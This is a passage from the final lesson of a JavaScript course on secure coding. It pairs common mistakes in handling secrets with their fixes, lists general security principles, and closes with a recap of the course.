console.log(`✓ Submission ${i+1}:`, valid.name, valid.email);
} catch (e) {
console.log(`✗ Submission ${i+1} [${e.field}]: ${e.message}`);
}
});

Secrets — Never in Source Code

JavaScript

Ctrl+Enter to run

// Secret management — what to do and what never to do

const neverDo = [
{
bad: 'const API_KEY = "sk-abc123xyz789"',
why: "Hardcoded in source — committed to git forever, visible to everyone with repo access",
fix: 'const API_KEY = process.env.API_KEY',
},
{
bad: "console.log('Auth token:', token)",
why: "Logged secrets appear in log aggregators, error trackers, and terminal history",
fix: 'console.log("Auth token: [redacted]")',
},
{
bad: "localStorage.setItem('authToken', jwt)",
why: "localStorage is readable by any JS on the page — XSS instantly steals it",
fix: "Use HttpOnly cookies — JS cannot read them",
},
{
bad: "return res.json({ user, passwordHash })",
why: "Never send hashes, internal IDs, or sensitive fields in API responses",
fix: "return res.json({ id: user.id, name: user.name, email: user.email })",
},
{
bad: "const url = 'https://api.com?key=' + API_KEY",
why: "Query string parameters appear in server logs, browser history, referrer headers",
fix: 'headers: { "Authorization": "Bearer " + API_KEY }',
},
];

console.log("Secret management rules:");
neverDo.forEach(({ bad, why, fix }) => {
console.log(`\n ✗ ${bad}`);
console.log(` Why: ${why}`);
console.log(` Fix: ${fix}`);
});

// Environment variable pattern
function loadConfig() {
const required = ["DATABASE_URL", "JWT_SECRET", "API_KEY"];
const missing = required.filter(k => !process.env?.[k]);

if (missing.length > 0) {
throw new Error(`Missing required environment variables: ${missing.join(", ")}`);
}

return {
database: { url: process.env?.DATABASE_URL || "[not set in sandbox]" },
jwt: { secret: process.env?.JWT_SECRET || "[not set in sandbox]" },
api: { key: process.env?.API_KEY || "[not set in sandbox]" },
};
}

try {
const config = loadConfig();
console.log("\nConfig loaded (values redacted in log):");
console.log(" database.url: [redacted]");
console.log(" jwt.secret: [redacted]");
} catch (e) {
console.log("\nConfig error:", e.message);
console.log("(Expected in sandbox — no env vars set)");
}

// Secret management — what to do and what never to do

const neverDo = [
{
bad: 'const API_KEY = "sk-abc123xyz789"',
why: "Hardcoded in source — committed to git forever, visible to everyone with repo access",
fix: 'const API_KEY = process.env.API_KEY',
},
{
bad: "console.log('Auth token:', token)",
why: "Logged secrets appear in log aggregators, error trackers, and terminal history",
fix: 'console.log("Auth token: [redacted]")',
},
{
bad: "localStorage.setItem('authToken', jwt)",
why: "localStorage is readable by any JS on the page — XSS instantly steals it",
fix: "Use HttpOnly cookies — JS cannot read them",
},
{
bad: "return res.json({ user, passwordHash })",
why: "Never send hashes, internal IDs, or sensitive fields in API responses",
fix: "return res.json({ id: user.id, name: user.name, email: user.email })",
},
{
bad: "const url = 'https://api.com?key=' + API_KEY",
why: "Query string parameters appear in server logs, browser history, referrer headers",
fix: 'headers: { "Authorization": "Bearer " + API_KEY }',
},
];

console.log("Secret management rules:");
neverDo.forEach(({ bad, why, fix }) => {
console.log(`\n ✗ ${bad}`);
console.log(` Why: ${why}`);
console.log(` Fix: ${fix}`);
});

// Environment variable pattern
function loadConfig() {
const required = ["DATABASE_URL", "JWT_SECRET", "API_KEY"];
const missing = required.filter(k => !process.env?.[k]);

if (missing.length > 0) {
throw new Error(`Missing required environment variables: ${missing.join(", ")}`);
}

return {
database: { url: process.env?.DATABASE_URL || "[not set in sandbox]" },
jwt: { secret: process.env?.JWT_SECRET || "[not set in sandbox]" },
api: { key: process.env?.API_KEY || "[not set in sandbox]" },
};
}

try {
const config = loadConfig();
console.log("\nConfig loaded (values redacted in log):");
console.log(" database.url: [redacted]");
console.log(" jwt.secret: [redacted]");
} catch (e) {
console.log("\nConfig error:", e.message);
console.log("(Expected in sandbox — no env vars set)");
}

The Security Principles — A Reference

JavaScript

Ctrl+Enter to run

// Every vulnerability you will encounter maps to one of these principles

const principles = [
{
name: "Never trust input",
rule: "Validate ALL input at EVERY trust boundary — HTTP, WebSocket, file, localStorage",
examples: ["SQL injection", "XSS", "Path traversal", "Prototype pollution"],
},
{
name: "Escape at output",
rule: "Escape data for the context it enters — HTML, SQL, shell, URL, JSON",
examples: ["textContent not innerHTML", "Parameterised queries", "shell-quote for CLI args"],
},
{
name: "Principle of least privilege",
rule: "Grant only the permissions actually needed — to users, processes, API tokens",
examples: ["Read-only DB user for read-only routes", "Scoped API keys", "CSP headers"],
},
{
name: "Defence in depth",
rule: "Multiple independent layers — if one fails, others still protect",
examples: ["Validation + escaping + CSP", "Authentication + authorisation + audit log"],
},
{
name: "Fail securely",
rule: "On error, deny access — never default to permissive on exception",
examples: ["Catch block should NOT grant access", "Invalid session → 401, not 200"],
},
{
name: "Separate data from code",
rule: "User data must never be interpreted as instructions",
examples: ["XSS", "Injection", "eval(userInput)", "innerHTML = userInput"],
},
{
name: "Minimise attack surface",
rule: "Fewer dependencies, fewer endpoints, fewer permissions = fewer vulnerabilities",
examples: ["Remove unused packages", "Disable debug routes in production", "HttpOnly cookies"],
},
];

principles.forEach(({ name, rule, examples }) => {
console.log(`\n● ${name}`);
console.log(` ${rule}`);
console.log(` Covers: ${examples.join(", ")}`);
});

// Every vulnerability you will encounter maps to one of these principles

const principles = [
{
name: "Never trust input",
rule: "Validate ALL input at EVERY trust boundary — HTTP, WebSocket, file, localStorage",
examples: ["SQL injection", "XSS", "Path traversal", "Prototype pollution"],
},
{
name: "Escape at output",
rule: "Escape data for the context it enters — HTML, SQL, shell, URL, JSON",
examples: ["textContent not innerHTML", "Parameterised queries", "shell-quote for CLI args"],
},
{
name: "Principle of least privilege",
rule: "Grant only the permissions actually needed — to users, processes, API tokens",
examples: ["Read-only DB user for read-only routes", "Scoped API keys", "CSP headers"],
},
{
name: "Defence in depth",
rule: "Multiple independent layers — if one fails, others still protect",
examples: ["Validation + escaping + CSP", "Authentication + authorisation + audit log"],
},
{
name: "Fail securely",
rule: "On error, deny access — never default to permissive on exception",
examples: ["Catch block should NOT grant access", "Invalid session → 401, not 200"],
},
{
name: "Separate data from code",
rule: "User data must never be interpreted as instructions",
examples: ["XSS", "Injection", "eval(userInput)", "innerHTML = userInput"],
},
{
name: "Minimise attack surface",
rule: "Fewer dependencies, fewer endpoints, fewer permissions = fewer vulnerabilities",
examples: ["Remove unused packages", "Disable debug routes in production", "HttpOnly cookies"],
},
];

principles.forEach(({ name, rule, examples }) => {
console.log(`\n● ${name}`);
console.log(` ${rule}`);
console.log(` Covers: ${examples.join(", ")}`);
});

What You Have Learned

Security is not a list of things to avoid. It is a way of reading your own code — asking at every input boundary: what happens if this value is controlled by an attacker?

The key ideas:

XSS: user input rendered as HTML executes as code — use textContent, escape HTML entities, set a strict CSP, use DOMPurify for rich text
Injection: user input concatenated into SQL/shell/path executes as command — use parameterised queries, validate paths against a base directory, whitelist file extensions
Prototype pollution: __proto__ or constructor.prototype in object merges modifies every object — block those keys, use Object.create(null) for stores, prefer structuredClone
CSRF: browsers auto-send cookies on cross-origin requests — CSRF tokens, SameSite=Strict, verify Origin header
Timing attacks: early-exit string comparison leaks information — constant-time comparison for all secrets and tokens
Supply chain: your dependencies can be compromised — pin versions, audit regularly, review unfamiliar packages
Validation: validate at every trust boundary, reject what doesn't conform — never let invalid data reach business logic
Secrets: never in source code, never in localStorage, never in query strings, never in logs — environment variables, HttpOnly cookies, Authorization headers

The Complete Course — What You Now Know

You started with "what is a program?" and ended here. Twenty-nine lessons across three tiers:

Beginner (01–08): variables, types, conditionals, functions, loops, arrays, objects — the foundation every JavaScript developer needs.

Intermediate (09–17): closures, higher-order functions, async/await, classes, error handling, modules, iterators, generators, Symbols, WeakMap, Proxies — the mechanisms that separate competent from expert.

Advanced (18–29): V8 internals, memory management, functional programming, concurrency, design patterns, testing, TypeScript, runtime environments, data structures, parsing, and security — the knowledge that lets you build systems that are fast, correct, and safe at scale.

The language is not the end. It is the beginning. Every framework, every library, every tool you will ever use is built from these primitives. You now have the foundation to read their source code, understand their design decisions, and build your own.